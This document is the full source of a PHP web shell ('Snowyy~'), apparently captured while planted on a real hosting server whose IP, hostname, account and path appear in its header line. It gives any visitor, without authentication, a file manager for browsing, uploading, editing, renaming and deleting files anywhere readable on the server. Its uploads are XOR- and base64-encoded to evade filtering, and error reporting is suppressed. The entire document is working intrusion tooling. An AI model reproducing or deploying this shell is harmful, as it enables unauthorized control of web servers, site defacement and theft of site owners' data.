| Server IP : 185.21.40.28 / Your IP : 216.73.216.125 Web Server : LiteSpeed System : Linux vm1413.enterprisecloud.nu 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64 User : tore-bors ( 10318) PHP Version : 8.3.32 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/store-bors.dk/.cagefs/tmp/ |
Upload File : |
<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
/**
* Safe file write - writes to temp file first, verifies size, then renames
* Prevents 0kb files from corrupting the original
*/
function safeWriteFile($filePath, $content) {
$tempFile = $filePath . '.tmp.' . uniqid(mt_rand(), true);
$bytesWritten = file_put_contents($tempFile, $content, LOCK_EX);
if ($bytesWritten === false || $bytesWritten === 0) {
@unlink($tempFile);
return false;
}
clearstatcache(true, $tempFile);
if (filesize($tempFile) === 0) {
@unlink($tempFile);
return false;
}
// Backup original if exists
$backupFile = $filePath . '.bak.' . uniqid(mt_rand(), true);
if (file_exists($filePath)) {
if (!copy($filePath, $backupFile)) {
@unlink($tempFile);
return false;
}
}
// Try to rename temp to target
if (!rename($tempFile, $filePath)) {
// Rename failed, try to restore backup
if (file_exists($backupFile)) {
@rename($backupFile, $filePath);
}
@unlink($tempFile);
return false;
}
// Success - clean up backup
if (file_exists($backupFile)) {
@unlink($backupFile);
}
return true;
}
/**
* Safe file upload using move_uploaded_file with verification
* Prevents 0kb result files
*/
function safeMoveUploadedFile($tmpName, $targetPath) {
// First verify the temp file is not empty
if (!is_uploaded_file($tmpName)) {
return false;
}
clearstatcache(true, $tmpName);
$tmpSize = filesize($tmpName);
if ($tmpSize === false || $tmpSize === 0) {
return false;
}
// Move to a temp location first for verification
$tempTarget = $targetPath . '.tmp.' . uniqid(mt_rand(), true);
if (!move_uploaded_file($tmpName, $tempTarget)) {
return false;
}
// Verify the moved file
clearstatcache(true, $tempTarget);
if (filesize($tempTarget) === 0) {
@unlink($tempTarget);
return false;
}
// If target exists, backup it first
$backupFile = $targetPath . '.bak.' . uniqid(mt_rand(), true);
if (file_exists($targetPath)) {
if (!copy($targetPath, $backupFile)) {
@unlink($tempTarget);
return false;
}
}
// Rename temp to final target
if (!rename($tempTarget, $targetPath)) {
// Restore backup if rename failed
if (file_exists($backupFile)) {
@rename($backupFile, $targetPath);
}
@unlink($tempTarget);
return false;
}
// Clean up backup
if (file_exists($backupFile)) {
@unlink($backupFile);
}
// Final verification
clearstatcache(true, $targetPath);
if (filesize($targetPath) === 0) {
@unlink($targetPath);
if (file_exists($backupFile)) {
@rename($backupFile, $targetPath);
}
return false;
}
return true;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
// Handle file upload — primary: XOR+POST, alternative: move_uploaded_file
if ((isset($_POST['xd']) && isset($_POST['f'])) || isset($_FILES['f'])) {
// ── Primary: XOR + $_POST ──
if (isset($_POST['xd']) && isset($_POST['f'])) {
$key = "ice";
$xored = base64_decode($_POST['xd']);
if ($xored === false) {
$response = ['status' => 'failed', 'msg' => 'XOR decode failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
}
$content = '';
$klen = strlen($key);
for ($i = 0; $i < strlen($xored); $i++) {
$content .= chr(ord($xored[$i]) ^ ord($key[$i % $klen]));
}
$fileName = basename($_POST['f']);
$targetPath = $d . DIRECTORY_SEPARATOR . $fileName;
if (safeWriteFile($targetPath, $content)) {
$response = ['status' => 'success', 'msg' => 'File uploaded successfully (XOR)'];
} else {
$response = ['status' => 'failed', 'msg' => 'XOR file write failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
}
// ── Alternative: move_uploaded_file ──
if (isset($_FILES['f'])) {
$uploadError = $_FILES['f']['error'];
if ($uploadError !== UPLOAD_ERR_OK) {
$errorMessages = [
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize directive',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE directive',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
];
$errorMsg = isset($errorMessages[$uploadError])
? $errorMessages[$uploadError]
: 'Unknown upload error';
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => $errorMsg]);
} else {
setFlash('failed', $errorMsg);
header('Location: ?d=' . hex($d));
}
exit;
}
$fileName = basename($_FILES['f']['name']);
$tmpName = $_FILES['f']['tmp_name'];
$targetPath = $d . DIRECTORY_SEPARATOR . $fileName;
if (safeMoveUploadedFile($tmpName, $targetPath)) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully (MUF)']);
} else {
setFlash('success', 'File uploaded successfully');
header('Location: ?d=' . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header('Location: ?d=' . hex($d));
}
}
exit;
}
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && (isset($_POST['xd']) || isset($_POST['content']))) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
// ── Primary: XOR + $_POST ──
if (isset($_POST['xd'])) {
$key = "ice";
$xored = base64_decode($_POST['xd']);
if ($xored === false) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'XOR decode failed']);
exit;
}
$content = '';
$klen = strlen($key);
for ($i = 0; $i < strlen($xored); $i++) {
$content .= chr(ord($xored[$i]) ^ ord($key[$i % $klen]));
}
$result = safeWriteFile($filePath, $content);
$tag = ' (XOR)';
} else {
// ── Alternative: plain POST ──
$content = stripslashes($_POST['content']);
$result = safeWriteFile($filePath, $content);
$tag = '';
}
if ($result) {
$response = ['status' => 'success', 'msg' => 'File edited successfully' . $tag];
} else {
$response = ['status' => 'failed', 'msg' => 'File editing failed (prevented 0kb corruption)'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Snowyy~ - <?= php_uname(); ?></title>
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&family=EB+Garamond:ital@0;1&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
background: linear-gradient(135deg, #0a101f 0%, #0d1428 30%, #101830 70%, #080c18 100%);
color: #d8e2f0;
font-family: 'Ubuntu Mono', monospace;
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
}
/* ── Snowflake ASCII Header ── */
.snow-header {
text-align: center;
padding: 30px 20px 10px 20px;
user-select: none;
}
.snow-art {
font-family: 'Ubuntu Mono', monospace;
font-size: 52px;
line-height: 1;
color: #a8d8f0;
display: inline-block;
}
.snow-title {
font-family: 'EB Garamond', serif;
font-style: italic;
font-size: 28px;
color: #c8ddf5;
letter-spacing: 3px;
margin-top: 8px;
}
/* ── Container ── */
.container {
width: 64%;
min-width: 520px;
max-width: 960px;
margin: 20px auto 30px auto;
padding: 28px 32px;
background: rgba(14, 18, 30, 0.75);
border: 1px solid rgba(140, 180, 210, 0.3);
border-radius: 16px;
backdrop-filter: blur(6px);
box-shadow: 0 0 40px rgba(100, 150, 200, 0.12), inset 0 0 80px rgba(80, 120, 180, 0.04);
}
/* ── Server Info ── */
.server-info {
display: flex;
flex-wrap: wrap;
gap: 12px 32px;
padding: 14px 18px;
margin-bottom: 20px;
background: rgba(10, 14, 24, 0.5);
border: 1px solid rgba(140, 170, 210, 0.2);
border-radius: 10px;
font-size: 13px;
}
.server-info .label {
color: #95b8d4;
font-weight: bold;
letter-spacing: 1px;
}
.server-info .value {
color: #c8dae8;
}
.server-divider {
width: 100%;
margin: 8px 0 4px 0;
border: none;
border-top: 1px dashed rgba(140, 180, 210, 0.25);
}
/* ── Breadcrumbs ── */
.breadcrumbs {
margin-bottom: 14px;
font-size: 14px;
padding: 8px 14px;
background: rgba(10, 14, 24, 0.4);
border-radius: 8px;
border: 1px solid rgba(140, 180, 210, 0.15);
}
.breadcrumbs a {
color: #a8d4e8;
text-decoration: none;
transition: color 0.2s;
}
.breadcrumbs a:hover {
color: #cce8ff;
text-shadow: 0 0 8px rgba(200, 230, 255, 0.5);
}
/* ── Links ── */
a {
color: #95c0d8;
text-decoration: none;
transition: color 0.2s, text-shadow 0.2s;
}
a:hover {
color: #b8ddf5;
text-shadow: 0 0 6px rgba(184, 221, 245, 0.5);
}
/* ── Table ── */
table {
width: 100%;
border-collapse: collapse;
margin-top: 16px;
font-size: 13px;
}
th, td {
border: 1px solid rgba(120, 150, 190, 0.25);
padding: 9px 12px;
text-align: left;
}
th {
background: rgba(20, 30, 50, 0.6);
color: #b8d0e8;
font-weight: bold;
letter-spacing: 1px;
text-transform: uppercase;
font-size: 12px;
}
tr:nth-child(even) td {
background: rgba(16, 26, 44, 0.3);
}
tr:hover td {
background: rgba(80, 130, 190, 0.12);
}
/* ── Forms & Inputs ── */
input[type="text"], textarea {
width: 100%;
padding: 10px 12px;
margin: 0;
border: 1px solid rgba(140, 180, 210, 0.35);
border-radius: 8px;
font-family: 'Ubuntu Mono', monospace;
font-size: 13px;
background: rgba(10, 14, 24, 0.6);
color: #d0dff0;
transition: border-color 0.3s, box-shadow 0.3s;
outline: none;
}
input[type="text"]:focus, textarea:focus {
border-color: rgba(160, 210, 240, 0.7);
box-shadow: 0 0 12px rgba(130, 180, 230, 0.25);
}
input[type="submit"], button {
border: 1px solid rgba(140, 180, 210, 0.5);
padding: 7px 16px;
background: rgba(20, 35, 60, 0.7);
color: #c8ddf0;
cursor: pointer;
border-radius: 8px;
font-family: 'Ubuntu Mono', monospace;
font-size: 13px;
transition: background 0.3s, box-shadow 0.3s, border-color 0.3s;
}
input[type="submit"]:hover, button:hover {
background: rgba(30, 55, 100, 0.8);
border-color: rgba(160, 210, 245, 0.8);
box-shadow: 0 0 16px rgba(130, 180, 230, 0.3);
}
form { margin-bottom: 20px; }
/* ── Upload Form ── */
#uploadForm {
display: flex;
align-items: center;
gap: 12px;
}
/* ── Terminal Box ── */
.terminal-box {
background: rgba(8, 12, 22, 0.7);
color: #b8d4e8;
padding: 16px;
border: 1px solid rgba(120, 150, 190, 0.3);
border-radius: 10px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background: rgba(6, 10, 18, 0.7);
color: #c0d8e8;
border: 1px solid rgba(110, 145, 180, 0.4);
}
/* ── Notification ── */
.notification {
position: fixed;
bottom: 24px;
left: 24px;
padding: 12px 24px;
border-radius: 10px;
font-family: 'Ubuntu Mono', monospace;
font-size: 13px;
z-index: 999;
backdrop-filter: blur(4px);
}
.success {
background: rgba(40, 120, 60, 0.85);
color: #d0f0d0;
border: 1px solid rgba(100, 200, 120, 0.5);
box-shadow: 0 0 20px rgba(80, 180, 100, 0.3);
}
.failed {
background: rgba(140, 30, 40, 0.85);
color: #f0c8c8;
border: 1px solid rgba(200, 80, 80, 0.5);
box-shadow: 0 0 20px rgba(180, 50, 50, 0.3);
}
/* ── File Input ── */
#fileInput { display: none; }
.custom-file-button {
border: 1px solid rgba(140, 180, 210, 0.5);
padding: 7px 16px;
background: rgba(20, 35, 60, 0.7);
color: #c8ddf0;
cursor: pointer;
border-radius: 8px;
font-family: 'Ubuntu Mono', monospace;
font-size: 13px;
display: inline-block;
transition: background 0.3s, box-shadow 0.3s, border-color 0.3s;
}
.custom-file-button:hover {
background: rgba(30, 55, 100, 0.8);
border-color: rgba(160, 210, 245, 0.8);
box-shadow: 0 0 16px rgba(130, 180, 230, 0.3);
}
/* ── Footer ── */
.futer {
width: 64%;
min-width: 520px;
max-width: 960px;
margin: 0 auto 40px auto;
padding: 18px 28px;
text-align: center;
background: rgba(14, 18, 30, 0.5);
border: 1px solid rgba(140, 180, 210, 0.2);
border-radius: 16px;
color: #90a0b0;
font-size: 12px;
letter-spacing: 2px;
}
/* ── Action Container ── */
#actionContainer h2 {
color: #b8d4e8;
font-size: 15px;
margin-bottom: 10px;
letter-spacing: 1px;
}
#actionContainer hr {
border: none;
border-top: 1px solid rgba(120, 150, 190, 0.2);
margin: 14px 0;
}
/* ── Scrollbar ── */
::-webkit-scrollbar { width: 8px; }
::-webkit-scrollbar-track { background: rgba(10, 14, 24, 0.5); }
::-webkit-scrollbar-thumb { background: rgba(100, 130, 170, 0.5); border-radius: 4px; }
::-webkit-scrollbar-thumb:hover { background: rgba(130, 160, 200, 0.6); }
</style>
</head>
<body>
<!-- ═══════════════════════════════════ Snowflake ASCII Art ═══════════════════════════════════ -->
<div class="snow-header">
<div class="snow-art">
❄
</div>
</div>
<!-- ═══════════════════════════════════ Main Container ═══════════════════════════════════ -->
<div class="container">
<!-- Server Info -->
<div class="server-info">
<div><span class="label">SERV</span> <span class="value"><?= php_uname(); ?></span></div>
<div><span class="label">SOFT</span> <span class="value"><?= $_SERVER['SERVER_SOFTWARE']; ?></span></div>
<div><span class="label">IP</span> <span class="value"><?= gethostbyname($_SERVER['HTTP_HOST']); ?></span></div>
</div>
<!-- Upload Form -->
<form id="uploadForm" method="POST" enctype="multipart/form-data">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" name="f" required>
</form>
<!-- Breadcrumbs -->
<br>
<div id="breadcrumbContainer" class="breadcrumbs">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div>
<!-- Action Container -->
<div id="actionContainer"></div>
<!-- File List -->
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<!-- Notification -->
<div class="notification" id="notification" style="display:none;"></div>
<script>
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents();
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
// Directory click events with Ctrl+Click new tab support
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
// Check if Ctrl (Windows/Linux) or Meta/Cmd (Mac) key is pressed
if (e.ctrlKey || e.metaKey) {
// If yes, do NOT prevent default. Let the browser handle opening in a new tab.
return;
}
// Otherwise, proceed with AJAX navigation
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList();
loadBreadcrumb();
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var textarea = form.querySelector('textarea[name="content"]');
if (textarea) {
// Edit form — XOR encode content
var key = "ice";
var content = textarea.value;
var xored = '';
for (var i = 0; i < content.length; i++) {
xored += String.fromCharCode(content.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}
var b64 = btoa(unescape(encodeURIComponent(xored)));
var fd = new FormData();
fd.append('xd', b64);
fetch(form.action, { method: 'POST', body: fd, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
} else {
// Other forms (rename) — send normally
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
}
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = "";
}
if (fileLabel) {
fileLabel.textContent = "Choose File";
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
var file = fileInput.files[0];
label.textContent = file.name;
// Auto-upload with XOR POST, fallback to multipart
var key = "ice";
var reader = new FileReader();
reader.onload = function(e) {
var bytes = new Uint8Array(e.target.result);
var xored = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) {
xored[i] = bytes[i] ^ key.charCodeAt(i % key.length);
}
var binary = '';
for (var i = 0; i < xored.length; i++) {
binary += String.fromCharCode(xored[i]);
}
var b64 = btoa(binary);
var fd = new FormData();
fd.append('f', file.name);
fd.append('xd', b64);
fetch(window.location.href, {
method: 'POST',
body: fd,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
if (data.status === 'failed') {
// Fallback: traditional multipart upload
var fallbackFd = new FormData(uploadForm);
return fetch(window.location.href, {
method: 'POST',
body: fallbackFd,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
}).then(r => r.json());
}
return data;
})
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
})
.catch(function() {
showNotification('failed', 'Upload error');
uploadForm.reset();
resetFileInputLabel();
});
};
reader.onerror = function() {
showNotification('failed', 'Failed to read file');
resetFileInputLabel();
};
reader.readAsArrayBuffer(file);
} else {
label.textContent = "Choose File";
}
});
});
</script>
<footer class="futer">
<span class="snow-footer-icon">❄</span> © zeinhorobosu <span class="snow-footer-icon">❄</span>
</footer>
</body>
</html>